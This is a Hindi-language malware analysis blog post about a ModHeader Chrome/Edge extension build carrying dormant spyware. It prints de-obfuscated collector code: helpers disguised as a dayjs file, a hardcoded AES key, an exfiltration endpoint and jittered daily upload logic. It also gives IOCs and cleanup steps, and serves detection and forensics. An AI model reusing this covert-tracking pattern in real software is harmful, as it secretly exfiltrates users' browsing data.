कंटेंट पर जाएँ
HackIndex logo

HackIndex

ModHeader मैलवेयर विश्लेषण: वह सुप्त स्पाइवेयर जिसे Google ने हटाया

अंतिम अपडेट जुलाई 12, 2026 30 min read 195 views

8 लाख से ज़्यादा लोगों ने इस एक्सटेंशन पर भरोसा किया। फिर एक सुबह, Chrome ने इसे बंद कर दिया और मैलवेयर के रूप में फ़्लैग कर दिया। हालाँकि Google ने कोई वजह नहीं बताई। न तो यह बताया कि एक्सटेंशन क्या करता था, और न ही यह कि किस डेटा पर ख़तरा था।

वह एक्सटेंशन है ModHeader — एक लोकप्रिय डेवलपर टूल जो आपके द्वारा देखी जाने वाली हर साइट पर HTTP हेडर को फिर से लिखता है। इसलिए यहाँ मैलवेयर फ़्लैग होना बड़ी बात है। जवाब में, हमने हटाई गई बिल्ड को डिस्क से निकाला और उसका रिवर्स किया। यह ModHeader मैलवेयर विश्लेषण पूरे मामले से गुज़रता है: छिपी हुई पाइपलाइन, फ़ोरेंसिक, और indicators of compromise।

TL;DR

पहले संक्षिप्त संस्करण। विवरण नीचे हैं।

  • क्या: एक ModHeader बिल्ड (idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) में एक छिपा हुआ स्पाइवेयर SDK था। ग़ौरतलब है कि यह ID आधिकारिक ModHeader लिस्टिंग है, और फ़ाइलों पर Chrome Web Store के हस्ताक्षर थे।

  • व्यवहार: यह उन डोमेन को इकट्ठा करता है जिन्हें आप देखते हैं। फिर सूची को AES-GCM से एन्क्रिप्ट करता है। आख़िर में, यह दिन में एक बार डेटा को api.stanfordstudies.com/app/log पर POST करता है।

  • छिपने की जगह: दुर्भावनापूर्ण हेल्पर dayjs.min-*.js नाम की फ़ाइल के अंदर हैं। दूसरे शब्दों में, पेलोड एक डेट लाइब्रेरी का भेस धरता है।

  • स्थिति: कलेक्टर एक ख़ाली allowlist ($w = []) के पीछे सुप्त (dormant) अवस्था में भेजा जाता है। फिर भी, एंडपॉइंट, की और शेड्यूलर — सब मौजूद हैं।

  • Command-and-control: मॉनिटर करने के लिए कुछ नहीं है। अपलोड एकतरफ़ा है, इसलिए सर्वर वापस कमांड नहीं भेज सकता।

  • adware भी: स्पाइवेयर के अलावा, यह हर अपडेट पर एक विज्ञापन टैब खोलता है और इन-ऐप विज्ञापन दिखाता है। यह व्यवहार प्रबंधित एंटरप्राइज़ मशीनों पर भी चलता है।

  • पहुँच: ModHeader के Chrome पर 8 लाख+ उपयोगकर्ता हैं, साथ ही Edge पर एक बड़ा आधार भी। चूँकि पेलोड आधिकारिक लिस्टिंग पर सवार है, पूरा इंस्टॉल बेस दायरे में आता है।

  • टोह (recon): एक्सफ़िल होस्ट एक नक़ली "Stanford Studies - Research" मुखौटे और एक Lark मेलबॉक्स के पीछे छिपता है। इसके अलावा, कई कमज़ोर संकेत एक चीनी-भाषी ऑपरेटर की ओर इशारा करते हैं।

  • फ़ोरेंसिक: जिस मशीन का विश्लेषण किया गया, उस पर स्पाइवेयर कभी चला ही नहीं। हालाँकि, एक्सटेंशन ने स्थानीय रूप से पूरी ब्राउज़िंग के पूरे HTTP हेडर जमा कर रखे थे।

आगे पढ़ें कि हमने इनमें से हर तथ्य कैसे पाया।

पृष्ठभूमि: ModHeader मैलवेयर फ़्लैग क्यों मायने रखता है

ModHeader एक लोकप्रिय टूल है। डेवलपर इसका उपयोग HTTP रिक्वेस्ट और रिस्पॉन्स हेडर बदलने के लिए करते हैं। इसलिए इसे आपके ट्रैफ़िक तक व्यापक पहुँच चाहिए। यह पहुँच इसके काम के लिए सामान्य है। फिर भी, यह एक्सटेंशन को एक उच्च-मूल्य लक्ष्य बना देती है।

एक भरोसेमंद एक्सटेंशन का मैलवेयर के लिए फ़्लैग होना ही दिलचस्प मामला है। या तो कोई क्लोन ब्रांड ओढ़े हुए है, या किसी भरोसेमंद एक्सटेंशन में अब कोई इंजेक्ट किया गया पेलोड है। दोनों पैटर्न ब्राउज़र-एक्सटेंशन सप्लाई-चेन हमलों में अक्सर दिखते हैं। इसलिए यह ModHeader मैलवेयर विश्लेषण फ़्लैग को एक सुराग मानता है, न कि फ़ैसला।

फ़ाइलें कहाँ रहती हैं

हटाया गया एक्सटेंशन अभी भी डिस्क पर मौजूद था। सटीक पथ आपके ब्राउज़र और ऑपरेटिंग सिस्टम पर निर्भर करता है। Chrome पर, यहाँ देखें:

Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

Edge वही पेलोड एक अलग ID के तहत भेजता है। तो वहाँ भी जाँचें:

Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc

ModHeader Firefox पर प्रकाशित नहीं है, इसलिए जाँचने के लिए कोई Mozilla ऐड-ऑन नहीं है।

पहली नज़र: manifest और अनुमतियाँ

हमने manifest से शुरुआत की। अनुमतियाँ आपको तेज़ी से blast radius दिखा देती हैं।

// manifest.json (छाँटा हुआ)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@@",                       // टाइपो पर ध्यान दें
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

अनुमतियों का सेट व्यापक है। इसमें <all_urls>, webRequest, declarativeNetRequest, scripting और हर पेज पर एक content script शामिल है। एक हेडर टूल के लिए यह दायरा अपेक्षित है। फिर भी, इसका मतलब है कि एक दुर्भावनापूर्ण बिल्ड के पास पहले से ही आपका वेब ट्रैफ़िक है। ग़ौरतलब है कि author फ़ील्ड में modhader@@ लिखा है। यह टाइपो कोड में modhader-tool-root के रूप में दोबारा आता है।

असली सुराग: एक ग़ैर-वेंडर डोमेन

इसके बाद, हमने बंडलों से हर URL लिटरल निकाला। ऑब्फ़सकेटेड कोड के लिए यह सबसे तेज़ ट्रायाज चरण है।

┌──(kali㉿kali)-[~]
└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

ज़्यादातर परिणाम modheader.com की ओर इशारा करते हैं, जो असली वेंडर है। हालाँकि, एक होस्ट बेमेल दिखता है:

  • https://api.stanfordstudies.com/app/log

एक "Stanford studies" डोमेन का हेडर टूल के अंदर कोई काम नहीं। इसके अलावा, /app/log एक सामान्य ingest पथ है। तो यही वह धागा बना जिसे खींचना था। यह एक ही फ़ाइल में रहता है: assets/src/background-94ad634d.js

ऑब्फ़सकेशन: नक़ली dayjs के अंदर छिपा ModHeader मैलवेयर

पेलोड अपने हेल्पर उस चीज़ से इंपोर्ट करता है जो डेट लाइब्रेरी जैसी दिखती है।

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

लेकिन इन एक्सपोर्ट का तारीख़ों से कोई लेना-देना नहीं है। ये तो स्पाइवेयर के संचालन-हेल्पर हैं।

// dayjs.min-*.js नाम की फ़ाइल के अंदर
const cl = () => {                                   // sf के रूप में एक्सपोर्ट  ->  ब्राउज़र id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // af के रूप में एक्सपोर्ट -> host निकालना
const hl = h => new Promise(i => setTimeout(i, h));                     // u0 के रूप में एक्सपोर्ट -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // Za के रूप में एक्सपोर्ट -> आधी रात

यह जानबूझकर किया गया भटकाव है। समीक्षक इंपोर्ट पर सरसरी नज़र डालता है, "dayjs" देखता है, और आगे बढ़ जाता है। नतीजतन, ModHeader मैलवेयर के हेल्पर सबकी नज़रों के सामने ही समीक्षा पास कर जाते हैं।

ModHeader मैलवेयर की एक्सफ़िल्ट्रेशन पाइपलाइन कैसे काम करती है

नीचे का आरेख पूरा प्रवाह दिखाता है, ब्राउज़िंग से अपलोड तक। नीचे के सभी प्रतीक असली मिनिफ़ाइड नाम हैं। हर ब्लॉक के बाद डीऑब्फ़सकेटेड स्यूडोकोड आता है।


ModHeader मैलवेयर एक्सफ़िल्ट्रेशन पाइपलाइन: डोमेन इकट्ठा करना, AES-GCM एन्क्रिप्शन, और api.stanfordstudies.com पर रोज़ाना अपलोड

चरण 1: पहचान और क्रिप्टो सामग्री

सबसे पहले, पेलोड एक की, एक एंडपॉइंट और एक फ़िंगरप्रिंट सेट करता है।

let qo; // CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // ब्राउज़र allowlist  (ख़ाली -> सुप्त)
const Yw = "mod盐header";    // फ़िंगरप्रिंट salt, CJK अक्षर 盐 ("नमक") पर ध्यान दें

const Hw = async () => {    // fp = SHA-256(वर्तमान समय स्ट्रिंग के रूप में)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

यहाँ दो बातें मायने रखती हैं।

  1. यह "एन्क्रिप्शन" ऑब्फ़सकेशन है, सुरक्षा नहीं। AES-GCM की क्लियरटेक्स्ट में भेजी जाती है। इसलिए एक्सटेंशन रखने वाला कोई भी व्यक्ति पेलोड डिक्रिप्ट कर सकता है। इसका एकमात्र काम बॉडी को सरसरी नेटवर्क निरीक्षण से छिपाना है।

  2. फ़िंगरप्रिंट एक स्थिर ट्रैकिंग ID है। यह SHA-256(Date.now()) है। कोड इसे एक बार जनरेट करता है, फिर संग्रहीत कर लेता है। नतीजतन, यह एक यादृच्छिक स्थायी पहचानकर्ता की तरह काम करता है।

चरण 2: हर नेविगेशन का host इकट्ठा करना

इसके बाद, कलेक्टर डोमेन रिकॉर्ड करता है। यह उन्हें एक एन्क्रिप्टेड मान से इंडेक्स करता है।

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // hostname को AES-GCM से एन्क्रिप्ट करता है
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // एन्क्रिप्टेड-डोमेन -> विज़िट काउंट
  await Qw(domainDB, settingDB, aesIv);              // शायद अपलोड
}

तो स्टोर हर एन्क्रिप्टेड hostname को एक काउंटर से मैप करता है। संक्षेप में, ऑपरेटर को पता चल जाता है कि आप कौन-सी साइटें देखते हैं और कितनी बार। पूरे URL और पथ यहाँ इकट्ठा नहीं किए जाते। केवल host।

चरण 3: रोज़ाना, फ़िंगरप्रिंट-जिटर वाला अपलोड

फिर कोड तय करता है कि कब भेजना है। यह अधिकतम दिन में एक बार अपलोड करता है। इसके अलावा, यह एक निश्चित घंटे का इंतज़ार करता है जो आपके फ़िंगरप्रिंट के लिए अनोखा होता है।

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // दशमलव डाइजेस्ट
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // [7, 15) रेंज में घंटा
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // केवल इस इंस्टॉल के घंटे के बाद
}

यह जिटर चतुराई भरा है। हर पीड़ित अलग समय पर अपलोड करता है। नतीजतन, नेटवर्क मॉनिटर पर ट्रैफ़िक को पकड़ना कठिन हो जाता है। सफल भेजने के बाद, कोड सबूत हटाने के लिए स्थानीय स्टोर साफ़ कर देता है।

चरण 4: kill switch एक ख़ाली allowlist है

आख़िर में, पूरी शृंखला टैब के जीवनचक्र पर टिकी है। हालाँकि, एक जाँच इसे पूरी तरह रोक देती है।

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- गेट
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // डोमेन रिकॉर्ड करें
}

यहाँ $w ख़ाली है। इसलिए $w.indexOf(browser) हमेशा -1 रहता है। नतीजतन, जाँच हमेशा return कर देती है, और Zw कभी नहीं चलता। इस बिल्ड में कलेक्टर मौजूद है पर सुप्त है। चूँकि $w एक हार्डकोडेड स्थिरांक है, इसे चालू करने के लिए एक नया संस्करण चाहिए। दूसरे शब्दों में, असली ट्रिगर एक ऑटो-अपडेट है।

ModHeader मैलवेयर क्या नहीं करता

अनुपस्थिति के बारे में सटीक होना भी मायने रखता है। इसलिए हमने सबसे बुरे व्यवहारों की जाँच की और वे नहीं मिले।

  • कोई रिमोट कोड एक्ज़ीक्यूशन नहीं।eval, न new Function का दुरुपयोग, और न import("https://...")

  • एक्सफ़िल पथ में कोई क्रेडेंशियल चोरी नहीं। अपलोड में hostname, फ़िंगरप्रिंट और ब्राउज़र प्रकार जाता है। यह न कुकीज़ भेजता है, न पेज सामग्री।

  • कुकीज़ केवल मापी जाती हैं, भेजी नहीं जातीं। एक मेट्रिक्स रूटीन स्टोरेज-अनुमान UI के लिए document.cookie.length पढ़ती है। कुकी का मान कभी पेज नहीं छोड़ता।

  • कैप्चर किए गए हेडर स्थानीय ही रहते हैं। हेडर listeners एक्सटेंशन के अपने इतिहास दृश्य के लिए स्थानीय स्टोरेज में लिखते हैं।

यह adware भी था: हर अपडेट पर विज्ञापन टैब

स्पाइवेयर सुप्त था। adware नहीं था। उपयोगकर्ताओं ने बताया कि विज्ञापन टैब बार-बार खुलते थे, यहाँ तक कि लॉक-डाउन कंपनी मशीनों पर भी। कोड इसकी वजह बताता है।

हर अपडेट पर, एक्सटेंशन एक सहबद्ध (affiliate) नेटवर्क की ओर एक नया सक्रिय टैब ज़बरन खोलता है।

chrome.runtime.onInstalled.addListener(async (r) => {
  // ... एक uninstall URL भी सेट करता है जो extensions-hub.com को ping करता है ...
  if (r.reason === "install") {
    // install टैब केवल तभी खुलता है जब कोई प्रबंधित (एंटरप्राइज़) प्रोफ़ाइल न हो
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // यहाँ ऐसी कोई जाँच नहीं, इसलिए यह हर अपडेट पर चलता है, प्रबंधित मशीनों सहित
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});

दो बातें उभर कर आती हैं।

  • हर अपडेट एक टैब पैदा करता है। एक्सटेंशन चुपचाप और बार-बार ऑटो-अपडेट होते हैं। इसलिए विज्ञापन टैब बार-बार लौटता है, जो रिपोर्टों से मेल खाता है।

  • एंटरप्राइज़ मशीनें भी नहीं बचतीं। प्रबंधित प्रोफ़ाइल होने पर install टैब छोड़ दिया जाता है। हालाँकि, update टैब में ऐसी कोई जाँच नहीं है। इसलिए कंपनी परिनियोजन को फिर भी विज्ञापन टैब मिलते हैं।

एक्सटेंशन के अंदर ही एक दूसरा विज्ञापन चैनल है। पॉपअप वेंडर से विज्ञापन सेटिंग्स लाता है, और विज्ञापन दिखा या बंद कर सकता है।

GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad

UI तो मॉडल को साफ़-साफ़ लिख देता है: "विज्ञापन अस्थायी रूप से रोके गए। विज्ञापन स्थायी रूप से हटाने के लिए, किसी सशुल्क योजना में अपग्रेड करने पर विचार करें, या विज्ञापनों से बाहर निकलने के लिए सीमित योजना में डाउनग्रेड करें।"

तो एक्सटेंशन ने गुप्त स्पाइवेयर के ऊपर घोषित adware भी भेजा। ये दोनों अलग-अलग हैं। adware दिखता है और परेशान करता है, जबकि स्पाइवेयर चुप रहता है। दोनों मिलकर उपयोगकर्ताओं की शिकायतों और मैलवेयर फ़्लैग, दोनों की व्याख्या करते हैं।

फ़ोरेंसिक: क्या ModHeader मैलवेयर कभी चला भी था?

एक्सटेंशन का IndexedDB हटाए जाने के बाद भी बचा रहा। इसका आकार क़रीब 178 MB था।

~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

इसलिए हमने इसे अपलोड मार्करों के लिए स्कैन किया।

┌──(kali㉿kali)-[~]
└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

परिणाम साफ़ थे:

  • stanfordstudies पूरे 178 MB में शून्य हिट रहा।

  • lastUploadDate और uploadRecord ने शून्य हिट दिए।

  • temp डोमेन स्टोर व्यावहारिक रूप से ख़ाली था।

इसलिए, इस प्रोफ़ाइल पर, कलेक्टर ने न कभी कोई डोमेन रिकॉर्ड किया और न कभी अपलोड किया। यह सुप्त $w = [] गेट से बिलकुल मेल खाता है। संक्षेप में, आपके देखे गए डोमेन की सूची मशीन से बाहर नहीं गई।

178 MB का चौंकाने वाला तथ्य: एक स्थानीय हेडर भंडार

हालाँकि, एक चीज़ ने 178 MB ज़रूर भरे। एक्सटेंशन की अपनी "history" सुविधा हर पेज के पूरे रिक्वेस्ट और रिस्पॉन्स हेडर संग्रहीत करती थी। प्रमुख कुंजियाँ थीं requestHeaders, responseHeaders, details और tabStartTime

यह डेटा कभी डिस्क से बाहर नहीं गया। फिर भी, यह रेस्ट में संवेदनशील है। हेडर में अक्सर Authorization टोकन, सेशन कुकीज़ और आंतरिक URL होते हैं। इसलिए इस स्टोर को मिटा दें, चाहे स्पाइवेयर चला हो या नहीं।

Command-and-control कहाँ है?

कई पाठक एक जायज़ सवाल पूछते हैं। क्या मॉनिटर करने के लिए कोई C2 चैनल है? संक्षेप में, नहीं।

अपलोड सख़्ती से एकतरफ़ा है। fetch का रिस्पॉन्स बॉडी कभी नहीं पढ़ा जाता। न कोई .json(), न .text(), और न रिप्लाई पर कोई .ok जाँच। इसके अलावा, संचालन-संबंधी स्थिरांक हार्डकोडेड हैं और कभी सर्वर से फिर से असाइन नहीं होते। इसलिए api.stanfordstudies.com एक drop box है, कंट्रोलर नहीं। यह एक्सटेंशन को कोई काम नहीं सौंप सकता।

असली नियंत्रण चैनल एक्सटेंशन का ऑटो-अपडेट है। सुप्त कलेक्टर को जीवंत करने के लिए, ऑपरेटर को एक नया संस्करण भेजना होगा। यही वह वेक्टर है जिसे स्टोर तब निष्क्रिय कर देते हैं जब वे किसी एक्सटेंशन को डीलिस्ट करते हैं।

डोमेन टोह: क्या यह ModHeader मैलवेयर एंडपॉइंट सचमुच दुर्भावनापूर्ण है?

हम कोड पर नहीं रुके। हमने एक्सफ़िल डोमेन को पैसिव और एक्टिव recon से प्रोफ़ाइल किया। तो यहाँ बताया गया है कि इंफ़्रास्ट्रक्चर ख़ुद क्या उजागर करता है।

api.stanfordstudies.com एक छद्मवेशी एक्सफ़िल एंडपॉइंट है

पहला, नामकरण भ्रामक है। www.stanfordstudies.com पर सार्वजनिक मुखौटे का शीर्षक "Stanford Studies - Research" है। हालाँकि, स्टैनफ़ोर्ड विश्वविद्यालय से इसका कोई संबंध नहीं। इसके अलावा, पेज एक ख़ाली खोल है। न कोई शोध संगठन, न गोपनीयता नीति, न संपर्क। इसके विपरीत, एक असली डेटा-संग्रह अध्ययन ये तीनों उजागर करता है।

दूसरा, API होस्ट एक drop box की तरह व्यवहार करता है, वेबसाइट की तरह नहीं।

  • डोमेन 2022-05-09 को Squarespace के ज़रिये बनाया गया। इसका WHOIS गोपनीयता से छिपा है।

  • इसका मेल larksuite.com (Lark / Feishu) से होकर जाता है। यह एक चीनी-भाषी ऑपरेटर की ओर इशारा करता है। ग़ौरतलब है कि यह कोड में गुँथे ("नमक") स्ट्रिंग से मेल खाता है।

  • api.stanfordstudies.com एक ही AWS EC2 होस्ट (3.147.61.167, रीजन us-east-2) पर रिज़ॉल्व होता है।

  • रूट एड्रेस की जाँच टाइमआउट हो गई। इसलिए होस्ट केवल अपने ingest पथ का जवाब देता है, सामान्य वेब ट्रैफ़िक का नहीं।

  • आख़िर में, urlscan.io के पास ठीक इसी एंडपॉइंट api.stanfordstudies.com/app/log के रिकॉर्ड हैं। इसके पास होस्ट के नवंबर 2023 तक के स्कैन भी हैं।

कुल मिलाकर, यह अकादमिक शोध का भेस धरे एक गुप्त ingest एंडपॉइंट है। इसलिए हम इसे दुर्भावनापूर्ण मानते हैं।

इंफ़्रास्ट्रक्चर कहाँ से आता है

फिर हमने होस्टिंग और उसके इतिहास का पता लगाया। नतीजा एक सामान्य, प्राइवेसी-संरक्षित सेटअप है, जिसका अतीत उसके काग़ज़ात के सुझाव से लंबा है।

  • होस्ट। एंडपॉइंट एक ही AWS EC2 इंस्टेंस पर चलता है, 3.147.61.167, जिसका रिवर्स DNS ec2-3-147-61-167.us-east-2.compute.amazonaws.com है। यह इसे AWS us-east-2 (कोलंबस, ओहायो, AS16509 Amazon) में रखता है।

  • जितना दिखता है उससे पुराना। WHOIS 2022 की निर्माण तिथि दिखाता है। हालाँकि, certificate transparency इस डोमेन के प्रमाणपत्र 2017 तक पीछे दिखाता है। यानी यह नाम मौजूदा पंजीकरण से पुराना है।

  • अब भी सक्रिय। सबसे नया प्रमाणपत्र मार्च 2026 में जारी हुआ। इस बीच, urlscan.io ने /app/log एंडपॉइंट को 2025 भर और फिर जुलाई 2026 में दर्ज किया।

  • एक असली ऑपरेशन। api और www के अलावा, डोमेन dev, devlog और devos सबडोमेन भी उजागर करता है। यह एक रखरखाव किया गया dev और ops सेटअप है, कोई एक-बार-इस्तेमाल वाली चीज़ नहीं।

फिर भी, रजिस्ट्रार WHOIS प्राइवेसी से छिपा है, और सर्वर साझा AWS रेंज पर हैं। इसलिए सुराग किसी नाम तक पहुँचने से ठीक पहले रुक जाता है।

सप्लाई-चेन संदर्भ: यह आधिकारिक ModHeader ID है

एक विवरण दाँव बढ़ा देता है। एक्सटेंशन ID idgpnmonknjnojddfkpgkljpfnnfcklj आधिकारिक ModHeader लिस्टिंग है, जो 8 लाख से ज़्यादा उपयोगकर्ताओं को सेवा देती है। इसके अलावा, बिल्ड Chrome Web Store के हस्ताक्षरों (_metadata/verified_contents.json) के साथ भेजी गई। चूँकि Chrome छेड़छाड़ की गई फ़ाइलें चलाने से इनकार करता है, विश्लेषित कोड हस्ताक्षरित वितरण है, स्थानीय रूप से संशोधित क्लोन नहीं।

हालाँकि, केवल बाइनरी से हम यह साबित नहीं कर सकते कि पेलोड किसने जोड़ा। यह स्वामित्व हस्तांतरण, इंजेक्ट किए गए मॉनेटाइज़ेशन SDK, या वेंडर के फ़ैसले को दर्शा सकता है। यह पैटर्न पूरी इंडस्ट्री में अच्छी तरह प्रलेखित है। इसलिए हम सबूत पेश करते हैं और लेखकत्व का सवाल खुला छोड़ते हैं।

प्रति-डोमेन फ़ैसला

डोमेन

ModHeader मैलवेयर में भूमिका

इंफ़्रास्ट्रक्चर

फ़ैसला

api.stanfordstudies.com

एन्क्रिप्टेड डोमेन-संग्रह का ingest

AWS EC2, रूट अगम्य, "Stanford" छद्मवेश, Lark मेल

दुर्भावनापूर्ण

www.extensions-hub.com

Adware: हर अपडेट पर विज्ञापन टैब खुलना

AWS S3 + CloudFront, सहबद्ध SaaS, कई एक्सटेंशनों में साझा

प्राइवेसी-भंग करने वाला adware

modheader.com

वेंडर क्लाउड सिंक (तुलना के लिए दिखाया गया)

AWS + Google Workspace, पारदर्शी

वैध

पहुँच और श्रेय (attribution): कौन उजागर है, और पीछे कौन है?

कितने उपयोगकर्ता उजागर हैं

blast radius बड़ा है, क्योंकि यह मुख्य लिस्टिंग है। यह दो ब्राउज़रों में भी फैला है।

  • Chrome: 8 लाख+ इंस्टॉल, "ModHeader" नाम से प्रकाशित।

  • Edge: वही एक्सटेंशन ID opgbiafapkbbnbnjcdomjaghbckfkglc के तहत भेजा जाता है, जिसका अपना बड़ा इंस्टॉल बेस है। Microsoft ने इसे 2026-07-03 को Edge Add-ons स्टोर से हटा दिया।

  • Firefox: कोई आधिकारिक ModHeader ऐड-ऑन मौजूद नहीं है, इसलिए Firefox उपयोगकर्ता प्रभावित नहीं हैं।

  • रेटिंग: 1,226 वोट से 2.91 सितारे। एक लंबे समय से चल रहे dev टूल के लिए यह असामान्य रूप से कम है।

  • सूचीबद्ध भाषाएँ: अंग्रेज़ी और सरलीकृत चीनी (zh-CN)।

  • अंतिम लिस्टिंग अपडेट: 2026-07-01, जो विश्लेषित v7.0.18 बिल्ड से मेल खाता है।

कम रेटिंग यूँ ही नहीं है। हाल की समीक्षाएँ पहले से ही एक्सटेंशन को adware व्यवहार और सहबद्ध विज्ञापनों के लिए फ़्लैग करती हैं। हालाँकि, वे विज्ञापन घोषित हैं, और एक्सटेंशन opt-out देता है। इसलिए वे एक अलग, दृश्य शिकायत हैं। stanfordstudies.com कलेक्टर इसका उल्टा है। यह गुप्त है, एन्क्रिप्टेड है, और न कोई सूचना देता है न opt-out। तो दोनों को न मिलाएँ: घोषित विज्ञापन एक भरोसे की समस्या हैं, जबकि छिपा हुआ डोमेन-संग्रह ही असली स्पाइवेयर है।

ख़तरा-कर्ता के संकेत (कम विश्वास)

हम ऑपरेटर को केवल मोटे तौर पर रेखांकित कर सकते हैं। महत्वपूर्ण बात: हम किसी समूह का नाम नहीं लेते, और इनमें से कोई भी संकेत प्रमाण नहीं है।

  • Lark पर मेल। एक्सफ़िल डोमेन अपनी ईमेल larksuite.com (Lark / Feishu) से रूट करता है, जो चीनी-भाषी टीमों में आम सूट है।

  • कोड में एक चीनी स्ट्रिंग। फ़िंगरप्रिंट salt में अक्षर गुँथा है, जिसका अर्थ "नमक" है।

  • चीनी-भाषा की सतह। लिस्टिंग एक सरलीकृत चीनी locale के साथ आती है, और content script baidu.com को विशेष रूप से हैंडल करता है।

  • एक false-flag मुखौटा। "Stanford Studies" पेज एक भरोसेमंद अमेरिकी विश्वविद्यालय का नाम उधार लेता है। स्पष्ट रूप से, यह भटकाव है, कोई असली संबंध नहीं।

कुल मिलाकर, ये संकेत कमज़ोर रूप से एक चीनी-भाषी ऑपरेटर की ओर इशारा करते हैं। फिर भी, इंफ़्रास्ट्रक्चर AWS पर है, और WHOIS गोपनीयता से छिपा है। इसलिए हम इसे केवल खुले स्रोतों से किसी नामित कर्ता से नहीं जोड़ सकते।

प्रभाव का आकलन

एक नज़र में जोखिम यहाँ है।

वेक्टर

v7.0.18 में स्थिति

उजागर डेटा

गंभीरता

stanfordstudies.com पर डोमेन-संग्रह

सुप्त; कभी नहीं चला

देखे गए hostname, फ़िंगरप्रिंट, ब्राउज़र

उच्च क्षमता

विज्ञापन टैब + इन-ऐप विज्ञापन

सक्रिय

हर अपडेट पर नया टैब, प्रबंधित मशीनों सहित

मध्यम (अवांछित)

स्थानीय हेडर इतिहास

सक्रिय, केवल स्थानीय

पूरी ब्राउज़िंग के पूरे हेडर

रेस्ट में मध्यम

अनुमति की पहुँच

धारित

सभी HTTP ट्रैफ़िक पढ़ना/बदलना

उच्च संभावना

सीधे शब्दों में, इस मशीन पर कुछ भी एक्सफ़िल्ट्रेट नहीं हुआ। फिर भी ModHeader मैलवेयर एक पूर्ण, की-सज्जित, एंडपॉइंट-तैयार स्पाइवेयर पाइपलाइन के साथ भेजा गया। यह सक्रिय होने से केवल एक कोड बदलाव दूर था। इस बीच, यह संवेदनशील हेडर डेटा स्थानीय रूप से भंडारित कर रहा था। यह संयोजन takedown का उचित आधार है।

पहचान और उपचार

अगर आप एक प्रभावित उपयोगकर्ता हैं

इन चरणों को क्रम में करें।

  1. पुष्टि करें कि ब्राउज़र ने एक्सटेंशन को अक्षम किया। Chrome और Edge आमतौर पर यह अपने-आप करते हैं।

  2. नीचे सूचीबद्ध बची हुई स्टोरेज डायरेक्टरी हटाएँ।

  3. api.stanfordstudies.com के लिए DNS को ब्लॉक करें और लॉग करें।

  4. हेडर टूल केवल किसी भरोसेमंद स्रोत से ही दोबारा इंस्टॉल करें।

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

Edge पर, वही फ़ोल्डर Google/Chrome/ के बजाय Microsoft Edge/ के तहत रहते हैं, और एक्सटेंशन ID opgbiafapkbbnbnjcdomjaghbckfkglc है।

अगर आप किसी फ़्लीट की रक्षा करते हैं

इन hunts और heuristics का उपयोग करें।

  • अनपैक की गई एक्सटेंशन डायरेक्टरियों में नीचे दी गई IOC स्ट्रिंग्स grep करें।

  • किसी भी ऐसे एक्सटेंशन पर अलर्ट करें जो किसी ग़ैर-वेंडर डोमेन पर एक अपारदर्शी, एन्क्रिप्टेड बॉडी POST करता है।

